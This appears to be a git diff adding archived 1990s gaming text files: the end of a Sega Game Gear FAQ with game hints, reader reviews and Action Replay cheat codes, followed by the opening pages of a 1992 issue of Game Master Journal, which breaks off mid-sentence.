shrine. This shrine holds the first key. Next +go +16 spaces west and enter the shrine. Here's where you find the second key. +>From here head 10 spaces north. This shrine holds the third and final key. +Once you grab that key, go 6 spaces west, and there's Terrind. +-------------------------------------------------------------------------------- +Psycho Fox + +Hidden Warp Zone: Head to to level 1-3's jumping platform's at the end of +the + stage. Next, jump up to the top of the screen. Near the +top + you'll find three jumping platforms in a triangular +layout. + Jump off the lower right platform and punch the air. The +sky + will begin to crack. Hit the same spot two or three more + times and a black hole appears. If you jump into the +black + hole you'll enter the warp zone. Slide down the steel +slide + until you reach two pipes. The first one takes you to +World + 5-1 and the second one takes you to world 4-1. + +------------------------------------------------------------------------------- +Phantasy Star + +Q: How do I get to Lassic? Does it have anything to do with the Aeroprism +and +the Nuts? Where do I use them? + +When you reach the outside of Baya Malay and see the screen with the blue sky +go +to the ITEM screen and USE PRISM. The sky changes colour and a different +song +begins to play. A castle appears in the upper part of the screen. Again go +to +the ITEM screen and USE LARMA NUTS. Mayu eats the nuts, goes through a +transformation, and flies you up to the castle. After you beat the Guard +Dragon +enter the big house at the end of the road and you're on your way to defeat +Lassic. + +Tips: 1) Before journeying to defeat Lassic get rid of anything that is not + necessary to kill him (old armor, weapons, etc.). You'll need to +keep + a TRANSFER which you use to excape after you beat Lassic, or you +must + have some speel points left and the Fly Spell. Then buy as many + Burgers as possible in order to save magic points for curing people + when they're really needed. + + 2) After the point where you no longer need to buy things (except + Burgers) don't open treasure chests that were held by monsters +unless + you're sure they hold something important. Many of the treasure + chests are actually traps. 3) When you've found all of the items + avoid opening any treasure chests unless you need money +desperately. + +================================================================================ +Section IV: Misc. Q&A +[ This section contains game availability, recommendations, misc junk and + ] +[ heard-on-the-street rumours. + ] +================================================================================ + +Q: What is the Master System Converter? + +The Master Gear converter allows you to play Sega Master System games on the +Game Gear. Some 2 player games will not work and games will not run at the +correct speed if the game is from a country where TV uses PAL (i.e. Europe). + + +================================================================================ +Section V: Reviews +[ Reviews from the net and elsewhere, mileage may vary, no warrantees express + ] +[ or otherwise, for what it's worth, opposing opinions welcome..... + ] +================================================================================ +"Quest for the Shaven Yak starring Ren Hoek & Stimpy" +Rating: 5/5 + +This is a standard platform game in which you can play either Ren or Stimpy +or +both on their quest to find the Shaven Yak in order to return his hooves and +thereby save Yak Shaving Day. If you're a fan of the show then you'll love +all +of the show's elements in the game, otherwise you'll probably be confused +about +why anyone would make a game where one of the protagonists coughs up +hairballs +at his enemies, and after you unpause the game the other is caught picking +his +rear-end. There's lots of Ren & Stimpy style humor in the game like this. + The +graphics in this game are excellent, and even the enemies' graphics represent +the style of the cartoon. There are also cartoon scenes at the start, +between +each level (which you'll miss if you use the passwords in this FAQ), when you +lose all your lives, and a longer one when you win the game. It also +includes +music from the show, such as the Muddy Mudskipper theme song, and the +"Happy-Happy-Joy-Joy" music. You can play either as Ren or Stimpy or both, +alternating between the two between lives and levels. You start out with +three +Rens and three Stimpys, each with 6 hit points. You gain hit points by +picking +up different things, like bags of Gritty Kitty Cat Litter and various +foodstuffs. If you can jump on the back of a Croc-O-Stimpy, you get an extra +life. There are also other weapons you can pick up along the way, like toast +and a remote control. The "Boss" levels are challenging, requiring somewhat +complex patterns in order to avoid being hit. However, you can manage to +scrape +by without a pattern in all except the last one. The one thing about the +game +that I didn't particularly like was that the passwords for each level +automatically give you three Rens and three Stimpys with 6 H.P. each, +whether +or not you completed the last one with more or less than this (most often +less). +So if you use the passwords, it makes the game easier to get through. If you +want a real challenging game which will last a while, don't use them. This +game +is definitely a must for Ren & Stimpy fans. I hope they come up with a +sequel. + +Reviewer: Christopher Dubsky +-------------------------------------------------------------------------------- +Defenders of Oasis + +Developer: SEGA +Cartridge Size: 4 Megabits +Battery Backup Games: Yes +Type of Game: RPG +Retail Price: $29.99 +Rating: 4/5 + +Defenders of Oasis is a new RPG for Game Gear. The graphics and combat/spell +system are easy to use and understand. The game itself has a great depth of +detail (despite having completed the quest, there are myriad items I have +not found, or have not found how to use), and the various inhabitants are +reasonably informative and amusing. + +The game itself has only one drawback, the rate of random encounters is +far too high, and indeed gets quite annoying when trying to solve the +various puzzles. Despite this, DoA is an enjoyable game, with plenty of +playtime, and even after having beaten the game, the notion of starting +over to explore further is appealing. + +Reviewer: Dave Weinstein + +Defenders of Oasis (4MBit,3 Battery Backup Slots) compares well to other +portable RPG's IMHO. I've completed it last weekend, and I was very pleased +with the storyline (which pulled me in immediately), beautiful graphics and +the +nice music. DoO plays and feels much like the Final Fantasy Series games on +the +GB; you have to talk to some townspeople sometimes, get a few hints there, +then +journey through the land to find a specific location, enter the dungeon(s), +retrieve some items, then return to the town and so on. All towns, maps and +dungeons are shown in bird's eye view btw; fighting monsters is similar to +FinalFantasy or Shining in the Darkness on MD. The only drawbacks are a +relatively short selection of items/weapons in the game, and that you can not +construct party members by yourself; certain persons enter your party +automatically while the game progresses. This makes the game very +straight-forward - you can't screw up by missing the storyline or lacking +some +necessary items. Anyways, if you are looking for a nice RPG on your 'Gear, +give +it a try. + +Reviewer: Carsten Gnoerlich +-------------------------------------------------------------------------------- +Chakan + +Developer: Sega +Type of Game: Action +Rating: 2/5 + +I just bought this game. And I've only toyed with it for about an hour. My +first impression is: Bleach. Two stars out of five. Spend your money +elsewhere. Chakan is a platform action fantasy game. You play Chakan, a +sword-weilding sorcerer who needs to defeat 6 bosses in 6 different planes. +Chakan can move left and right, jump, roll, attack and use magic. (Sonic +with a +weapon.) It seems like it is probably the result of a quick-and-dirty port +over +to the GameGear from Genesis. The graphics are nice, but dark characters on +a +black background are hard to see on a GameGear. Chakan can overlap with the +enemies, and takes a lot of damage in doing so. A Bad Thing (tm). The +visual +responses can be misleading and unintuitive. (After attacking a minotaur for +a +while, he seemed to be blowing up into a bunch of boulders. Attacking? + Dying? +No, evidently an avalanche.) There is too much unavoidable random damage you +have to take during the game. Eg., Some stalactites *randomly* drip lava, +damage you *have* to take. In the end, the game is too hard for my taste. + This +is coming from someone who cruised through Chuck Rock, found Ax Battler just +right, and took about ten sonics to figure out a reliable way to kill the Ant +Lion in Sonic II. + +Reviewer: David Blume +-------------------------------------------------------------------------------- +The Simpson's: Bart vs the Space Mutants + +Developer: Flying Edge +Battery Backup Games: No +Type of Game: Adventure +Retail Price: $39.99 +Rating: 2/5 + +First let me state that I am a big Simpson's fan. I was quite excited when I +saw that this game was available for the Game Gear. I was quickly +disapointed. +The game is based on the very popular Simpson's TV show. The world is in +danger +of being taken over by Space Mutants. As Bart Simpson you must foil the +alien's +plans by collecting various items that the Mutants need to complete their +Doom's +Day machine. There are 5 separate levels that you must complete, with a +"boss" +at the end of each level. In order to complete a level you need to collect, +destroy or change certain type of items. In the first level you have to +spray +paint or destroy any purple colored items. Bart can accquire and use bottle +rockets, spray paint cans and cherry bombs. After trashing the required +number +of items Bart has to face the "boss" enemy, who is usually one of the many +other +characters from the Simpsons. If Bart gets enough "Proof" that there are +aliens, one of the Simpsons family members will help Bart fight the Boss. + Even +though the game is based on a pretty good concept there are many problems. +First, the levels tend to be "flat". You can walk from one end to the other +but +there is very little else to "explore". Only the last level, the Nuclear +Power +Plant , has multiple "floors" which are accessed via elevator. You can enter +stores at the mall and on the street to buy things, but you always get the +outside view. The controls were also poorly designed. To get Bart to jump +really high, you have to hit both the 1 and 2 buttons together (rather than +pushing up on the D pad while jumping). To select an item for use from the +inventory you have to use the D pad to cycle through the list and press the 1 +button while pressing down on the D pad. This makes it rather difficult to +select items quickly. Many operations had to be performed in a very specific +way. For example, to call out Grampa with the whistle, you have to be in the +exact spot for it to work. You cannot be one step off in any direction. +Finally, the one problem that really got to me was the bugs in the game. I +found 3 bugs in the first level alone! The first bug is really stupid. You +can +buy a key that can be used to "warp" within a level. If you use the key in +the +wrong place the game crashes. My problem with this is that you don't know +where +to use the key except by experimentation, which means that you crash the game +a +lot. The next bug only happened once. While using the phone to make a crank +call to Moe's Tavern the game just "bombed" out to the title screen. The +third +bug, which actually may be a feature, is that when you are fighting the +"boss" +at the end of the level you will never lose. You get killed, but it never +subtracts from the number of lives you have so you can fight until you win +(at +least on the first level). All in all this is a very boring game. In fact +it +is the only game that I have ever returned because I though it was so poorly +done. The graphics are uninspired and the music is moronic. Two of my +friends, +who are not video gamers both remarked at how annoying the music was. The +only +reason I gave it 2 out of 5, is because it seems to be a fairly faithful port +of +the NES and Genesis versions. + +Reviewer: Tony Clark +-------------------------------------------------------------------------------- +Prince of Persia + +Developer: Domark/Tengen +Battery Backup Games: Uses Passwords for level selects +Type of Game: Action/Adventure +Retail Price: $34.99 +Rating: 3.5/5 + +The premise behind this game is that the Princess has been kidnapped by the +King's evil second-in-command, Jafar. You have been thrown into the dungeon +and +the Princess has been given 1 hour to decide if she will marry Jafar. Your +mission is to rescue the Princess before the 1 hour time limit expires. You +have only your wits and agility to help you navigate through the maze of +dungeons and eventually the castle. You can also use your sword, if you can +find it, to fight off the King's guards. First, the things I liked about +this +game. The animation of the main character is superb. The body movements are +very life like as you run, jump and slash you way through the dungeons. I +also +like the password system for level selects. There is nothing more irritating +than having to fight your way through previously conquered levels every time +you +want to play a game. The game also provides for difficulty select by +allowing +you to vary the amount of strength your character posseses as well as being +able +to vary the time limit. The controls are layed out pretty well too, but it +does +take a little practice to get used to switching to the "en guard" or battle +mode. The graphics look good, though some of the objects are a bit small to +see +clearly (must be my old age). Now for my dislikes. First the font used for +passwords is way too small! I mean it's so small that sometimes it's +impossible +to determine what the characters are. I have had to experiment with many of +the +passwords in order to get them to work. At least it tells you that you have +entered an invalid password and allows you to re-enter a new one. Also the +manual is a bit "lite". They give you the basic controls and set-up for the +game, but that's about it. There is no imformation about what potions you +may +find and what effect they might have on your character, you have to +experiment a +lot. And while the character animations are very well done, the background +graphics tend to be too repetitive and somewhat boring. What can you expect +from a dungeon?? This game emphasizes adventure and exploration over action. +The "fight" sequences are fairly straightforward, you thrust and parry until +you +kill your attacker. There is also a lot of puzzle solving in that you have +to +figure out how to get out of the dungeon level you are currently on. Many +times +this involves triggering the proper switch to open the exit door or executing +certain manuveurs in a limited amount of time. Sometimes it seems like there +is +too much emphasis on timing and accuracy versus "solving" the puzzle and the +controls seem to be a bit slow at times. Still the game is fun to play. But +with a little more attention to detail like varied enemies and a "boss" at +the +end of each level this game would be great instead of better than average. + +Reviewer: Tony Clark +-------------------------------------------------------------------------------- +Crystal Warriors + +Developer: SEGA +Battery Backup Games: Yes +Type of Game: Strategy/RPG +Retail Price: $29.99 +Rating: 4/5 + +This cartridge combines elements of both role playing and combat strategy +games, +blending them into an enjoyable, though straightforward, adventure. In the +game, you play a princess out to defeat an evil army ravaging her land. Four +crystals were used for centuries to maintain the peace. Now three of these +have +fallen into the hands of the enemy, and it's your responsibility to regain +them. +Fail to do so, or die in the process, and your people are doomed. Gameplay +centers around a set of 16 battles, each separated by a visit to a local town +to +rest, shop, gain information, and acquire new party members. Each battle is +progressively more difficult, testing your strategy, use of terrain, and +understanding of your party's abilities. You may choose to save your game in +one of three slots during your visit to each town (at the completion of each +battle). Several different classes of characters are represented, though +they +fall into the basic categories of fighter, mage, and priest. The game's +combat +system is governed by a relational system among four elements: earth, wind, +fire, and water. Each fighter is aligned with an element, while spellcasters +have access to spells grounded in each of the different elements. Fire is +superior over wind, wind superior over water, and water superior over fire. +Earth, the element of spellcasters, is equal to all other elements. An +understanding of this system is critical to victory in the game. Both +spellcasting and the distribution of items are simplistic. As you progress +in +levels, the available spells and items simply become more effective. Items +are +either armor or weapons, so selection is straightforward. Spellcasters may +only +hold four spells at a time, so care must be taken to choose the spells +appropriate to your needs. Party composition is generally open-ended. You +can +choose to hire or decline any of the candidates you meet in town. Though +your +party can consist of a maximum of only nine characters during battle, you may +hire as many as you can afford, specifying which nine of your party you wish +to +use at each battle. Another nice touch is the use of female as well as male +characters. Over half of my party and nearly all of my strong fighters were +women, a change from male-dominated games like Prince of Persia or Defenders +of +Oasis. Another element of interest is the use of tamed monsters. Throughout +the game, chracters encounter monsters on the battlefield. If a fighter can +defeat a monster, they'll tame it into service. This monster can then be +used +to fight in place of the master character. As monsters are all aligned with +one +of the four elements, strategic taming of certain elemental monsters by +certain +elemental characters can provide a significant strategic advantage. A +two-player, gear-to-gear mode is supported, though I've never tried this. +Strategy is certainly the best element of this game. There are no puzzles +and +no real character development (a la Defenders of Oasis). The graphics are +clear, colorful, and reminiscent of Japanese Anime and Manga. The sound is +excellent, and the different fight themes are catchy, though sometimes +repetitive. Battles are more like individual games of chess than RPG combats +- +placement of key characters, use of tamed monsters, and strategic strikes by +spellcasters can mean the difference between life and death. Overall, I've +enjoyed this game to a large degree, as have both my 16 year old sister and +my +23 year old girlfriend. A four out of five rating. + +Reviewer: Jon Humphreys (jon@mcl.bdm.com) +-------------------------------------------------------------------------------- +Marble Madness + +Developer: ???? +Battery Backup Games: No +Type of Game: Strategy/Arcade +Retail Price: $24.99 +Rating: 3/5 + +Marble Madness is an adaptation of an older arcade game. In the game, you +attempt to guide a marble through a series of levels, avoiding drops, sloped +pathways, hammers, moving floors, and evil black marbles. In most respects, +this is the same as the arcade game, with a little less control and more +simplistic levels. The game provides 6 boards plus a trial board. For each +board, you are provided with a timelimit. Extra time carries over to the +next +board. Losing your marble results in loss of time and hampered progress. + The +graphics are well done, as are the sounds. Colors are bright and shading is +effective. Control can be a bit tricky without the arcade's trackball, +though +two methods of control are offered on the setup screen. Though nine levels +of +difficulty are provided, the game can be tricky at even the lower levels, +proving frustrating to some. High scores are recorded but not saved beyond +powerdown. Overall, a three out of five rating. + +Reviewer: Jon Humphreys (jon@mcl.bdm.com) +-------------------------------------------------------------------------------- +Dragon Crystal + +Developer: ???? +Battery Backup Games: No +Type of Game: RPG +Retail Price: $24.99 +Rating: 1/5 + +Dragon Crystal is an attempt to port a nethack-like RPG to the Game Gear. In +the game, you play an adventurer exploring a multilevel dungeon. Accompanied +by +your pet dragon (initially in an egg), you fight monsters, collect items, and +descend dungeon levels. While this game provides attractive graphics and +adequate sound, the play is shallow and appears unfinished. There are only a +few items in the game, and the documentation describes none of them. Levels +are +always structured similarly, in the room/corridor fashion, with no +distinguishing features on any of the levels. Gameplay is reminiscent of +early +Hack or Rouge type games, but with fewer items, fewer action choices, and +less +variety. Another gripe is the implementation of your pet dragon. Your pet +begins in an egg, following you as you explore. At a certain level of +experience, the egg hatches into a baby dragon, which grows with your +experience +level. Unfortunately, the dragon never does anything for you besides follow +your footsteps. The critical drawback to Dragon Crystal is its inability to +store a game. Because the dungeon is deep, you have to spend a long play +session to get anywhere in the game, longer still to complete it. Critical +design flaws like this are evident on multiple levels, making this a +disappointing cartridge. A one out of five rating. + +Jon Humphreys (jon@mcl.bdm.com) + +-------------------------------------------------------------------------------- +Columns + +Developer: SEGA +Battery Backup Games: No +Type of Game: Strategy +Retail Price: $24.99 +Rating: 4/5 + +This is the original cartridge packaged with the Game Gear, previous to +Sonic. +It's an implementation of the columns arcade and PC game, with colorful +graphics, nice sound, and good control. The object of the game is to +eliminate +falling 3x1 columns (a la Tetris) as they pile up in your playing field. To +eliminate a column (or portion of one), three or more segments of a column +must +align with the same color. Though apparently similiar in nature to Tetris, +the +strategy for Columns is completely different, centered more on setting up +chain-reaction eliminations than fitting pieces to form complete rows. The +game +allows you to configure the level of difficulty, beginning level of play +(speed +at which the columns fall), block type (gem, dice, card suit, colored block, +or +fruit), and background music. Besides the standard game of columns where you +attempt to survive as long as possible (until the columns pile to the top of +your playing area), you can choose to play a variation called Flash. Flash +Columns differs from standard columns in that the object is to eliminate a +specific flashing block buried beneath several layers of columns. Depending +on +the level of play, this can be exteremely tricky. Finally, Columns allows a +two-player head-to-head mode using the gear-to-gear connector cable. I've +never +tried this, though it looks particularly fun as all blocks eliminated from +your +screen appear on your opponent's screen. This is a simple yet addicting game +that will provide long-term playability. It's easy to understand and a good +quick game. A four out of five. + +Reviewer: Jon Humphreys +-------------------------------------------------------------------------------- +Slider + +Developer: Infogrames +Battery Backup: No/Password level select +Type of Game: Strategy +Retail Price: ?? +Rating: 3/5 + +Slider is a strategy game where you must move you character "Slider" across +the +world of Rozen and turn all the tiles pink. Each of the 99 levels is more +challenging than the previous. Some are simple if you just figure out the +pattern you must move in. While you are trying to accomplish this goal, you +are +being pursued by all sorts of villans. Ghosts, menaces, slipsters, boppers, +tentacles, crashers, and painters. It is a constant challenge to keep moving +to +avoid the monsters, while turning all the tiles pink by walking over them +before +the clock runs out. This is a very entertaining game, well worth it if +bought +used. + +Reviewer: Nick R Reyes +-------------------------------------------------------------------------------- +Spiderman: Return of the Sinister Six + +I bought that new Spider-Man - Return of the Sinister Six cartridge for Game +Gear last week, and let me say that IT IS CRAP!!! The characters are all +really +small and funny-looking. The difficulty level is pretty average, and I was +able +to finish the game pretty quickly, after getting used to a couple of annoying +things about it. One of these annoying things was that you have to be at an +exact distance from the enemy in order to punch him. If you're too close, +your +punches go right through them (but the okay thing is that they can't punch +you +either), and if you're too far, you definitely can't hit them, although they +CAN +shoot at you. This can be irritating as hell! Another thing that bugged me +was +that when you press the punch/fire button, there's a slight delay before the +punch/fire occurs. I guess this is because hitting the punch button once is +a +punch and hitting it twice is a kick, and the game has to differentiate +between +punches and kicks, even though the kicks are pretty unnecessary, anyway. + +Reviewer: Terry Lung +-------------------------------------------------------------------------------- +Mortal Kombat + +I'm not a big fan of the Game Gear. I bought one almost 2 years ago to add +to +my collection but have only bought one game since then (Devilish). Today, on +an +impulse (because it looked so good) I bought Mortal Kombat ($42.95 or so) for +the Game Gear. All in all...it's a VERY impressive game. The graphics are +SUPERB! The amination is choppy, and there is a fair bit of flicker, but +really...what do you expect from a Game Gear? I've played all of the +versions +except the GameBoy one and I'll say... this is the most impressive. Why? +Because what they've done with the hardware...this is an amazing +representation +of the arcade game. I haven't tried the blood code yet, but most of the +moves +are there, but Kano was taken out (most likely for memory reasons). The +music +is pretty good....considering the system.. and the gameplay is a tad easy +(but +gets hard on the later levels... the difficulty is adjustable, however.). + You +can play 2 player with the Gear to Gear cable as well.. Oh ya, Start +blocks... +and the 1/2 buttons do Punch and Kick (no high/low here..). This is great, a +must have for all GG owners... this is to the GG what Blue Lightining is to +the +Lynx... the ultimate show-off game. Get it..! + +Reviewer: Ralph Barbagallo + +I picked up Mortal Kombat for the Game Gear yesterday, Wow! The graphics are +amazing and the control is excellent. It's not as easy as playing the +arcade, +but it plays very well and the fatalities are easy to pull off. There are +some +minor annoyances. Obviously, the sound isn't there, but they did a pretty +good +job with music considering what they had to work with. There are only two +backgrounds, one being the pit. In the pit stage, you can't knock the guy +off +the ledge with an uppercut, I'll just have to settle for ripping his head and +spine out of his body. Last but not least, Kano isn't there. It makes sense +since it's difficult to do the 360 with the Game Gear's pad. I'm sure it +wouldn't be worth the bother. I have to say, I've very impressed. If you +have +a Game Gear, go buy it! Also, if you get the Super Wide Gear to magnify the +screen, it's that much better. + +Reviewer: Palmer Chappelle +-------------------------------------------------------------------------------- +Addams Family + +I think the game Addams Family is only so-so. The Graphics are not very +good, +the levels are picky about positioning the character--for example, to go up +the +house stairs to the attic, you have to wiggle your character around to get it +positioned +- 2 or 3 pixels to go up the plainly obvious stairs. This can +take +30 seconds, but doesn't have any bearing on the game. If a precision jump is +required, I can understand that. You can only play as Gomez. You have to +listen to the addams theme incessantly--only if something really different is +happening do you get any other music. The other sound effects are cheesy. +Chirps and beeps only. I must like it some--I keep playing it (I got it 3 +days +ago) I like that you can choose where to go next--you don't get forced into +level 1, level2, etc. You can wander thru the mansion and pick your fights +as +you wish. I would give it 2 stars, I guess. + +Gregor_Harrison@atk.com + +My first impression of the game is basically a simple platform game. You are +Gomez and you try to find all the family members is the object of the game. + Its +a puzzle/adventure game. To kill monsters you have to jump on top of them +like +Super Mario. I personally didn't like the game because you have to jump +around +obstacles and platforms. + +Keith Ng - "The coolest guy on the face of this world!" +------------------------------------------------------------------------------ +Sonic Chaos + +I've just recently purchased both Star Wars, and Sonic Chaos(and one of the +"Super Wide Gear" Sega magnifiers). Both games are excellent. Sonic has a +couple new moves, plus the use of rocket sneakers(go flying for about 5 +seconds +in the rocket shoes), and you can also play as Tails, who by spinning his +tail +will fly. + +Darrell Spice Jr. + +To put it as a simple summary, this game is similar to Sonic II from the +Genesis +version. The game is very,very simple with Tails, and its just as easy with +Sonic. Points, xtra guys, and continues rack up very quickly. I used Tails +with just 2 continues to finish the game. Very easy to finish the game. +Graphics and sound are always good but, I find Sonic II for GG is more +challenging. + +Keith Ng - "The coolest guy on the face of this world!" + +------------------------------------------------------------------------------- +Star Wars + +Star Wars is extremely well done, and interlaced with little movie extracts +between the levels. The levels follow the movie Star Wars. You start out as +Princess Leia when Darth Vader and his group first get on her ship. You have +to +make your way to R2-D2 to give him the message to take to ObiWan. Then you +play +as Luke chasing after the run-away R2-D2, track down ObiWan, find Han Solo, +get +to the death star, ect. I'm up to the point of rescueing Princess Leia (on +the +"Cadet" level- haven't tried very far on the Jedi level yet. :-) ). + +Darrell Spice Jr. + +A pretty good adventure/action game by US Gold. This is a platform and +shoot'em +up type of game. Music is very good. This is a 4 Megabit game so it is very +huge. You can play Luke, Han Solo, and Princess Leia. This is a fun game +since +you can pilot the Millenium Falcon into the Astroid Belt, and you can pilot +the +X-wing fighter into the Death Star. The only bad point in the game is that +there is not password. + +Keith Ng - "The coolest guy on the face of this world!" + +Star Wars is very good. Difficult at first and then even more difficult on +Jedi +mode. It isn't totally true to the movie, but stays fairly close to the +plot. +It has great cinema scenes and involves you. It has good music, electronic +versions of the real music. **** + +Preston Crawford +------------------------------------------------------------------------------- +Ecco the Dolphin +This is a nicely done conversion of the genesis version. Even though it +doesn't have as many levels, the storyline is same as the Genesis version. +The graphics are good and so is the sound & music. Just listen to Ecco +squeal at the title screen. This is a puzzle game, as Ecco you must find +entrances to the next level. The controls are the following: 1- ram, +2-swim faster, start-shoot a ecco (hold start to show map). It has a +password screen so you don't have to worry about starting from the +beginning. + +Keith Ng - "The coolest guy on the face of this world!" +------------------------------------------------------------------------------- +Dr. Robotniks Mean Bean Machine (Review) + +When I first saw the box, I thought this game was a boring Columns type a +game. +Then I played the game on the Genesis and I actually liked it and so I rented +it +on the Game Gear. Boy was I wrong, this has gotta be one of the best games +I've +played on the Game Gear. The story is very simple: Dr. Robotnik is +converting +all the beans of Mobius into his mechanized droids and you must stop it. + There +are several options you can play: Scenario, Gear-to-Gear, Puzzle. Scenario +mode is you play the computer. Gear-to-Gear is you play against a fellow GG +and +puzzle is you have to figure out how to do the techniques of eliminating the +beans given a certain problem. + +The game: 2 beans fall at a time, you can rotate the beans clockwise or +counter-clockwise. Press down to drop them down quickly. If you can join 4 +or +more beans stringed together of the same color it will disappear. The idea +is +to try to sink chains of beans with the same color. The more chains of beans +you sink in Scenario mode the more beans you shove to the opponent. Its +acutally a fun game if you can create chains of beans. I liked the game so +I'd +give it 5/5. The music and sounds are great! + +Keith Ng - "The coolest guy on the face of this world!" +-------------------------------------------------------------------------------- +Jurassic Park + +Jurrassic Park is pretty good. It is fun, but extremely easy to win. The +graphics are good, but the sound is repetitious. *** + +Preston Crawford +------------------------------------------------------------------------------- +PGA Golf Tour + +PGA Tour Golf is one I definitely suggest. I think it has good courses, and +I +love the save method whereby you can play a whole tour. **** + +Preston Crawford +-------------------------------------------------------------------------------- +@@@@@ +NBA JAM + +NBA JAM is another great game from the folks at Acclaim. This game is fun to +play and compares quite well to its 16 bit counterparts. Obviously the +sampled +voices are out and the music is a bit moronic, but the overall playability is +quite good. The graphics are well done, especially for the small screen. +There +is the occasional "flicker" when too many sprites try to occupy the same spot +on the screen. All of the power-ups from the arcade are included such as +Power-Up Dunks, Power-Up Intercept, Shot Percentage, Power-Up Defense and +Juice +Mode. It is rumoured that the special players like Bill Clinton and Al Gore +are +there, but I have yet to be able to access them. While not a true basketball +"simulation" (you only play 2 on 2), this is a fast paced fun game to play. +Overall I would rate this 8 out of 10 with a high replayability factor. + +Reviewer: Tony Clark +================================================================================ +Section VI: Action Replay/Game Genie Master System/Game Gear codes. +================================================================================ +Action Replay (Master System): +-------------------------------------------------------------------------------- +Asterix (European) + +Infinite lives: 00C09D03 + +Invincibility: 00C09A03 +-------------------------------------------------------------------------------- +Chase HQ (European) + +Infinite Turbos: 00C28203 + +Infinite Time: 00C23836 + +Level Select: 00C2210X - Replace X with 0-2 for the round you want. + 00C2200X - Replace X with 0-4 for the stage you want. + +Full Damage to bad guys: 00C25380 + +-------------------------------------------------------------------------------- +Sonic the Hedgehog 2 (European) + +Infinite lives: 00D29803 + +Always keep 6 rings: 00D29905 - Turn off Replay at end of Act and back on at + beginning of Act. + +Level Select: 00D2950X - Replace X with 0-6 for the zone you want. 00D2960Y +- + Replace Y with 0-3 for the act you want. Note: Turn on Replay + after first two title screens but before the level starts. + After + the level starts, turn it off. +-------------------------------------------------------------------------------- +After Burner II (European) + +Infinite lives: 002D506004 + +Infinite missles: 00381C600A +-------------------------------------------------------------------------------- +Atomic Runner (European) + +Initial Weapon: FFC31F00XX - Replace XX with: 04 - light ring + 08 - morning star + 10 - homing missle + +Infinite continue: FFC321000F + +Infinite lives: FFC3230004 + +Near Invincibility: FFC3240001 - Can still die by falling. + +Size of Shot: FFDD0D000X - Replace X with size 0-4. + +Super High Jump: FFDD1A0010 + +Score times 10,000: FFC312XXXX - Replace XXXX with 0000-9999 for score. + +Score times 1: FFC314XXXX - Replace XXXX with 0000-9999 for score. +-------------------------------------------------------------------------------- +Crude Busters (European) + +Take no damage: 00A8CC4A6A +-------------------------------------------------------------------------------- +Crue Ball (European) + +Score times 10,000: FF8432XXXX - Replace XXXX with 0000-9999 for score. + +Score times 1: FF843XXXX - Replace XXXX with 0000-9999 for score. + +Volume level select: FF8439000X - Replace X with level 0-9. + +Score multiplier: FF843B000X - Replace X with 0-5. + +Infinite balls: FF843D0001 + +No. of extra balls: FF843F000X - Replace X with 0-5. + +No. of times 50K is shot: FF8443000X - Replace X with 0-3. + +"Top Gate" dropped: FFB49100FF + +No "Wall" guards: FFB50C0001 + + +-- ++-----------------------------------------------------------------------------+ ++-----------------------------------------------------------------------------+ +| Mentor Graphics Corporation | ++-----------------------------------------------------------------------------+ +| Tony Clark | Voice: (503) 685-7000 | +| Product Marketing Manager | FAX: (503) 685-7704 | +| Mentor Graphics Corporation | E-Mail: tony_clark@mentorg.com | +| 8005 SW Boeckman Rd. | | +| Wilsonville, OR 97070 | | ++-----------------------------------------------------------------------------+ diff --git a/textfiles.com/games/gmj-1.txt b/textfiles.com/games/gmj-1.txt new file mode 100644 index 00000000..ee4ea92b --- /dev/null +++ b/textfiles.com/games/gmj-1.txt @@ -0,0 +1,1154 @@ + + + ÛÛÛÛÛ Û Û ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + Û ÛÛ ÛÛ Û + Û ÛÛ Û Û Û Û BBS Version + Û Û Û Û Û + ÛÛÛÛÛAME Û ÛASTER ÛÛÛÛOUNRAL ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + + ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + ±(C) 1992 Innovative Creations of New Englend TS. ± + ±This fully copyrighted document may not be reproduced± + ±or reposted on any BBS or other electronic retrieval ± + ±device without the expressed written or transmitted ± + ±permission of ICNETS. ± + ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ---------------------------------------------------------------------- + Welcome to our first issue! Come on in, the water's fine! + ---------------------------------------------------------------------- + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 2±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + Vol. 1 No. 1 - April 1 to April 15, 1992 + +Ace's Angles 4 +Ask the Game Masters 7 +Subscription Info 8 +GMJ Top Pick 9 + Batman 1.5: Return of the Joker +Super NES Reviews 12 + Super Ghouls 'n Ghosts + Super Castlevania IV + Super Bases Loaded + Hole-In-One Golf + Final Fantasy II + Actraiser +GMJ Top Five List 21 + YOUR picks for the best games. +Meet the Game Masters 22 + A special feature where you can meet the + Game Masters that make GMJ possible. +Nintendo Reviews 25 + Bart vs. the World + Fantastic Adventures of Dizzy +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 3±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + Trog + Treasure Master +Genesis Reviews 32 + Mario Lemeux Hockey + Quackshot Starring Donald Duck +Football Party! 36 + John Madden '92 + Joe Montana II: Sports Talk Football + Mike Ditka Football + Tecmo Super Bowl +Warp Zone 43 +GMJ Awards '91 46 + Who will win a "Gamie"? + +Producer: Tony Shubert Editors: ACE, Mort Head Writer: G +Writers: G, YOYOMAN, EMAX, EDGE, XMAN, SHADES, ET, STEVE N., +HAVOC, VIPER, ACE, SCOOP II, MR. X +Offices: Game Master Journal, 59 Germain Ave, Quincy MA.02169 + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 4±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + +All content, Warp Zone, Game Masters, Ace's Angles, GMJ +and Game Master Journal (c) 1992 Innovative Creations of New +England TS. Insuperable Sid (c) 1991 Sid Comics, used with +permission. + +WE ARE NOT PART OF OR ENDORSED BY: Nintendo of America, Sega +Enterprises, NEC Technologies (Turbo Technologies), Atari +Games, Atari Corp or any other video gaming company. + + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + + Ace's Angles + + Well I'm back gang with all of the Gossip and stuff you +need to know from the Winter CES! Well, I didn't go, but +here's what I heard. + Sonic 2 is coming! Sega's 